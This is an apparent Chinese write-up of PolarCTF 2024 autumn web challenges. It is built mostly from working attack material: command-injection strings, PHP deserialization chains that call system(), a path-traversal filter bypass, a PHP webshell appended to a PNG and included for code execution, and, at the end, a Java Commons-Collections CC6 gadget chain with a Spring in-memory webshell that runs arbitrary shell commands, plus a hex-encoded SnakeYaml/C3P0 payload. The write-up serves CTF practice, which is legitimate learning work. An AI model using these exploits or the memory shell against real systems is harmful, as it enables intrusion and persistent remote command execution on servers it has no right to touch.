【Web】PolarCTF2024秋季个人挑战赛wp

news/2024/9/22 1:46:36/

EZ_Host

一眼丁真命令注入

 payload:

?host=127.0.0.1;cat+f*

序列一下

exp:

<?phpclass Polar{public $lt;public $b;
}
$p=new Polar();
$p->lt="system";
$p->b="tac /f*";
echo serialize($p);

payload:

x=O:5:"Polar":2:{s:2:"lt";s:6:"system";s:1:"b";s:7:"tac /f*";}

vm50给你flag

先读waf源码

?file=php://filter/convert.base64-encode/resource=funs.php

base64解码

<?php
include 'f1@g.php';
function myWaf($data)
{if (preg_match("/f1@g/i", $data)) {echo "NONONONON0!";return FALSE;} else {return TRUE;}
}class A
{private $a;public function __destruct(){echo "A->" . $this->a . "destruct!";}
}class B
{private $b = array();public function __toString(){$str_array= $this->b;$str2 = $str_array['kfc']->vm50;return "Crazy Thursday".$str2;}
}
class C{private $c = array();public function __get($kfc){global $flag;$f = $this->c[$kfc];var_dump($$f);}
}

exp:

<?phpclass A
{public $a;
}class B
{public $b;
}
class C{public $c;
}//A#__destruct -> B#__toString -> C#__get
$c=new C();
$b=new B();
$a=new A();
$c->c=array("vm50"=>"flag");
$b->b=array("kfc"=>$c);
$a->a=$b;
echo serialize($a);

payload:

O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

Deserialize 

访问./hidden

访问./hidden/hidden.php 

exp

<?phpclass Token {public $id;public $secret;
}class User {public $name;public $isAdmin = false;public $token;
}class Product {public $productName;public $price;
}$c=new Product();
$b=new Token();
$a=new User();
$c->productName='1';
$c->price=1;
$b->product=$c;
$b->id=1;
$a->name="Z3r4y";
$a->token=$b;
$a->isAdmin=true;
echo serialize($a);

 payload:

./hidden/hidden.php?data=O:4:"User":3:{s:4:"name";s:5:"Z3r4y";s:7:"isAdmin";b:1;s:5:"token";O:5:"Token":3:{s:2:"id";i:1;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";s:1:"1";s:5:"price";i:1;}}}

 

 

传马

上传一个png文件抓包改php后缀

访问传的马，RCE

bllbl_ser1

一开始给了php代码

exp:

<?php
class bllbl
{public $qiang;//我的强
}
class bllnbnl{public $er;//我的儿
}$b=new bllbl();
$a=new bllnbnl();
$a->er="system('cat /f*');";
$b->qiang=$a;
echo serialize($b);

payload:

?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:18:"system('cat /f*');";}}

 

投喂

 exp:

<?php
class User
{public $username;public $is_admin;
}$a=new User();
$a->is_admin=true;
echo serialize($a);

payload:

data=O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}

raoyiquan

payload:

?c.md=env

读环境变量偷鸡成功 

 

但交了不对（）

老老实实绕吧

payload:

?c.md=ta\c /fl\ag.php

1ncIud3

扫出来

?page=flag对应了./flag.php，文件后缀写死了是php

经过测试发现题目会将../替换为空，双写绕过可以目录穿越

?page=..././..././..././..././..././..././..././..././f14g

尝试爆破没结果

import requests
import itertools# 定义字符和替换的映射，包括 F 大写和 g 替换成 9 的情况
replace_dict = {'l': ['1', 'I', 'L', 'l'],'a': ['3', '4', 'a', '@'],'F': ['F', 'f'],'g': ['g', '9']
}# 目标字符串
original_string = "Flag"# 找出需要替换的字符及其对应的位置
positions = [(i, char) for i, char in enumerate(original_string) if char in replace_dict]# 生成所有可能的组合
possible_combinations = []
for combination in itertools.product(*[replace_dict[char] for _, char in positions]):temp_string = list(original_string)for (pos, _), replacement in zip(positions, combination):temp_string[pos] = replacementpossible_combinations.append("".join(temp_string))# 基础 URL 模板
base_url = "http://472bb567-85eb-4d41-b194-77ec77dd844e.www.CTF.html" title=polarctf>polarctf.com:8090/?page=..././..././..././..././..././..././..././..././{}"# 循环替换不同的 flag 变体并发起请求
for variant in possible_combinations:# 替换 URL 中的 Flagurl = base_url.format(variant)try:# 发送 GET 请求response = requests.get(url)# 检查响应内容是否包含 "flag"if "flag" in response.text.lower():print(f"Found 'flag' in the response for variant: {variant}")print(f"Response Content:\n{response.text[:100]}")  # 输出前100字符print("-" * 80)  # 分隔符except Exception as e:# 捕获异常并打印print(f"Error with variant {variant}: {e}")

 后面发现是，鉴定为傻逼题

?page=..././..././f1a9

 

笑傲上传

 

有一个后门

一句话木马插在准备好的图片末尾

cat yjh3.php >> 1.png

上传成功 

 

文件包含RCE 

/include.php?file=/var/www/html/upload/5420240921110122.png

 

SnakeYaml 

不出网打hex

SnakeYaml反序列化分析 - F12~ - 博客园 

自己也写过对应的文章，把fastjson换成snakeyaml就行【Web】浅聊Java反序列化之C3P0——不出网Hex字节码加载利用-CSDN博客 

CC6打spring内存马

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class CC6WithTp {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ct = templates.getClass();byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\JeecgBoot-master\\polar\\target\\classes\\exp\\SpringControllerMemShell3.class"));byte[][] bytes = {code};Field ctDeclaredField = ct.getDeclaredField("_bytecodes");ctDeclaredField.setAccessible(true);ctDeclaredField.set(templates,bytes);Field nameField = ct.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates,"Z3");Field tfactory = ct.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);Map<Object,Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
//
//        //查看构造函数，传入的key和valueHashMap<Object, Object> map1 = new HashMap<>();
//        //map的固定语法，必须要put进去,这里的put会将链子连起来，触发命令执行map1.put(tiedMapEntry, "bbb");lazyMap.remove("aaa");Class c = LazyMap.class;Field factoryField = c.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap,chainedTransformer);//ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(map1);serialize(map1);}public static void serialize(Object obj) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));objectOutputStream.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));Object object = objectInputStream.readObject();return object;}
}

内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;/*** 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.*   因此比 SpringControllerMemShell.java 更加通用*   Springboot 1.x 和 3.x 版本未进行测试*/
@Controller
public class SpringControllerMemShell3 extends AbstractTranslet {public SpringControllerMemShell3() {try {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Method method2 = SpringControllerMemShell3.class.getMethod("test");RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);getMappingForMethod.setAccessible(true);RequestMappingInfo info =(RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);} catch (Exception e) {}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public SpringControllerMemShell3(String aaa) {}@RequestMapping("/malicious")public void test() throws IOException {HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();try {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";ProcessBuilder p;if (System.getProperty("os.name").toLowerCase().contains("win")) {p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});} else {p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next() : o;c.close();writer.write(o);writer.flush();writer.close();} else {response.sendError(404);}} catch (Exception e) {}}
}

payload:

data=!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource%0AuserOverridesAsString%3A%20HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707400036161617372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000027372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E000378707372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000949000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C00195F61636365737345787465726E616C5374796C6573686565747400124C6A6176612F6C616E672F537472696E673B4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00124C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF00740003616C6C70757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870000015ECCAFEBABE0000003400F60A003B00800A008100820800830B008400850700860700870B0005008807008908006507008A0A000A008B07008C07008D0A000C008E0A0014008F0800490700900A000A00910A001100920700930A001100940700950800630A000800960A000600970700980700990A001B009A0A001B009B08009C0B009D009E0B009F00A00800A10800A20A00A300A40A002800A50800A60A002800A70700A80700A90800AA0800AB0A002700AC0800AD0800AE0700AF0A002700B00A00B100B20A002E00B30800B40A002E00B50A002E00B60A002E00B70A002E00B80A00B900BA0A00B900BB0A00B900B80B009F00BC0700BD0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010007636F6E746578740100374C6F72672F737072696E676672616D65776F726B2F7765622F636F6E746578742F5765624170706C69636174696F6E436F6E746578743B0100156D617070696E6748616E646C65724D617070696E670100544C6F72672F737072696E676672616D65776F726B2F7765622F736572766C65742F6D76632F6D6574686F642F616E6E6F746174696F6E2F526571756573744D617070696E6748616E646C65724D617070696E673B0100076D6574686F643201001A4C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100026D7301004E4C6F72672F737072696E676672616D65776F726B2F7765622F736572766C65742F6D76632F636F6E646974696F6E2F526571756573744D6574686F647352657175657374436F6E646974696F6E3B0100136765744D617070696E67466F724D6574686F64010004696E666F01003F4C6F72672F737072696E676672616D65776F726B2F7765622F736572766C65742F6D76632F6D6574686F642F526571756573744D617070696E67496E666F3B010018737072696E67436F6E74726F6C6C65724D656D5368656C6C01001F4C6578702F537072696E67436F6E74726F6C6C65724D656D5368656C6C333B010001650100154C6A6176612F6C616E672F457863657074696F6E3B0100047468697301000D537461636B4D61705461626C650700890700980100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700BE0100104D6574686F64506172616D65746572730100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F61706163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